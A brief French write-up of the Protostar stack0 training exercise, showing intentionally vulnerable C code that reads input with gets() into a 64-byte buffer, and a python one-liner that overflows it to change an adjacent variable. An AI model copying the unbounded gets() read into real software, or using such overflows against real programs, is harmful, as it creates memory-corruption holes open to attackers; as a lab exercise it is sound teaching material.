#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
Ici le but est simple, il est simplement d'écrire par dessus la variable modified. Pour cela, rien de plus simple, si on met plus de 64 caractères dans buffer, les caractères en trop vont déborder sur la variable modified.
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64' | ./stack0 Try again? user@protostar:/opt/protostar/bin$ python -c 'print "A"*65' | ./stack0 you have changed the 'modified' variable